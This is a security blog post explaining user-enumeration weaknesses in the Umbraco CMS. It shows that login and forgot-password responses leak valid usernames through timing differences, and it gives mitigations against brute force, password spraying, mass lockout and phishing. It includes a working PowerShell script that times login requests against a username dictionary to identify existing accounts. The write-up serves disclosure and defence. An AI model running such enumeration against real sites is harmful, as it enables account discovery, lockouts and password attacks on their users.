User Authentication

We all are familiar with login forms, we use them daily and probably multiple times a day. They always ask for a username, which sometimes is your email address, and a password. When a user enters a valid username with a wrong password, the server may return a response saying "the password you have entered is incorrect for this user". With an error message like this, a malicious user would know that the username exists on the system.

Forgotten Password

Today is practically required for any website to have a way to reset a user's password in case they forgot it. The way this usually works is by sending an email to the user with the instructions they have to follow in order to create a new password for their account. The problem is that sometimes, when a user enters an invalid email address, the server may return a response saying "We do not have that email address on our records". Again, with an error message like this, and attacker would know whether a username exists or not on the system.

Timing Attack

A timing attack consists in measuring the amount of time taken by a particular operation with different input and then comparing the results. This can lead an attacker to find valuable information. For instance, in a login request, a server may take one amount of time to respond for a valid username and a completely different amount of time for an invalid one. By knowing this time difference, an attacker would know whether a username exists or not.

Once an attacker confirms that one of these techniques (or any other not discussed in this article) works against the target, they could automate a brute force attack to gather a list of valid usernames that could later be used to perform another brute force attack, but this time against the passwords to try to gain access to the system.

How is Umbraco affected?

Now that you have a clear understanding of what user enumeration is and what it could entail, let's look at how Umbraco is affected by each one of the techniques discussed.

User Authentication

Failed login attempt

When a user tries to login to the backoffice with a valid username and a wrong password, the error message shown by Umbraco is "Login failed for user {username}" and if a user tries to login with an invalid username, the error message would be exactly the same, therefore a malicious user cannot enumerate usernames using this technique.

Forgotten Password

Forgot password form

Umbraco has a forgotten password feature since version 7.3 and the way it works is that a user enters their email address and they get the instructions to reset their password. When a user enters either an existing or a non existing username, the CMS always shows the same message and it does not disclose whether the email address exists or not so again, an attacker cannot enumerate usernames with this technique.

Timing Attack

Showing time taken by Umbraco to give a response for request of a non existing user

Time taken for an existing user to login

Can you see it? This is where things get interesting. The first image shows the time taken by Umbraco to give a response to a login request of a non existing user and the second image is the time taken for an existing one. As you can see, the time difference between both requests is quite noticeable and therefore, an attacker can use this technique to enumerate usernames.

This is not limited to the login form, here are the images of the time taken by the forgotten password form:

Time taken forgot password form invalid email address

Time taken forgot password valid email

Attack Automation

In order to automate the timing attack, I have created a Powershell script called Test-UmbracoUsersEnumeration. This script needs the following parameters:

SiteUrl: URL of the Umbraco website that will be enumerated.

UsersDict: Path to a text file that contains the list of usernames to test. There should be one username per line.

MarginMs: Time margin in milliseconds to determine whether a username exists or not. This is optional and its default value is 100ms.

Let's have a look to the each part of the script's code:

Function Measure-LoginResponseTime($Username) { $loginUrl = "$($SiteUrl.ToString().TrimEnd('/'))/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" $timetaken = Measure-Command -Expression { try { Invoke-WebRequest -Uri $loginUrl ` -Method POST ` -ContentType "application/json" ` -Body "{'username': '$Username', 'password': '1234567890'}" } catch {} } $timetaken.TotalMilliseconds }

This function sends a login request to Umbraco and measures how much time it takes to respond.

Function Get-InvalidUserAvgResponseTime { $reqCount = 10 $totalTime = 0 $username = New-Guid foreach($i in 0..$reqCount) { $totalTime += Measure-LoginResponseTime -Username $username } $avgTime = $totalTime / $reqCount $avgTime }

This function makes 10 login requests with an invalid username and calculates the average response time.

invalidAvgTime = Get-InvalidUserAvgResponseTime Write-Verbose "The average response time for an invalid user is $invalidAvgTime" $existingUsers = New-Object System.Collections.ArrayList [System.IO.File]::ReadLines($usersDict) | ForEach-Object { Write-Verbose "Testing user $_" $responseTime = Measure-LoginResponseTime -Username $_ Write-Verbose "Time taken for user $($_): $responseTime" $timeDiff = $responseTime - $invalidAvgTime if ($timeDiff -gt $MarginMs) { Write-Verbose "The user $_ exists" $existingUsers.Add($_) | Out-Null } else { Write-Verbose "The user $_ does not exists" } }

This is where the real attack happens:

It calculates the average response time for an invalid username using the function explained before. It reads the dictionary file the user passed as a parameter and it sends a login request for each username. It calculates the time difference between the current login response time and the average time calculated before. It checks if the time difference is greater than the margin, which is 100ms by default. It adds the user name to a list in case the above condition is true.

if ($existingUsers.Count -gt 0) { Write-Output "Users found:`n" Write-Output $existingUsers } else { Write-Output "None of the users in the dictionary were found." }

Finally, it writes to the output the usernames it found or a simple message in case it did not find any.

Example of execution:

Test-UmbracoUsersEnumeration -SiteUrl "https://localhost" -UsersDict "C:\temp\users_dict.txt"

This is how a verbose execution looks:

Example of a verbose execution

What are the risks for an Umbraco website?

Let's look now at the possible risks an attack like this can entail for an Umbraco website and their possible mitigations:

Brute Force Against User Passwords

This is definitely the biggest risk that an attack like this can have, but Umbraco has a great protection against it. It locks an account after 5 (by default) failed login attempts so you should not worry too much about this.

Mass Lock Out

Once an attacker gets a list of valid usernames, they could lock all those accounts causing that those users could not enter to the backoffice so an administrator would have to manually unlock each account. If all the administrator accounts are locked as well, the only option would be to unlock them directly in the database.

This is not very likely to happen, but if you start getting this type of behavior you may consider using a Web Application Firewall (WAF) which you can configure to block any IP address if it is sending a lot of login request that a normal user would certainly not do.

Password Sprying

This is also known as reverse brute force attack. With this attack, instead of trying a lot of passwords against one single user, an attacker would try one single password against all the users so they don't cause a lock out on the attacked accounts.

The most important task you can do to prevent a successful spry attack is to make sure your backoffice users use strong passwords.

Phishing

If your Umbraco website uses email addresses as usernames, which is the default on the latest versions of the CMS, an attacker could try to use phishing to get access to one of those emails and then reset the backoffice password of that user to gain access to it.

This could be mitigated by not using email addresses as usernames, which you can configure in the umbracoSettings.config file by setting the option security/userNameIsEmail to false.

Summary

As we saw, users enumeration is a common vulnerability on web applications and Umbraco is not an exception. The good news is that Umbraco is very well protected against the biggest risk and if you think one of the others risks could affect your website, there are options to protect it against them.

The script I made to automate the attack can be found on Github: https://github.com/camaya/umbraco-users-enum

If you have any comment, suggestion or question you can reach me on Twitter (my DMs are open) @_camaya or you can send me an email to <cam at camaya.co>.

Cheers.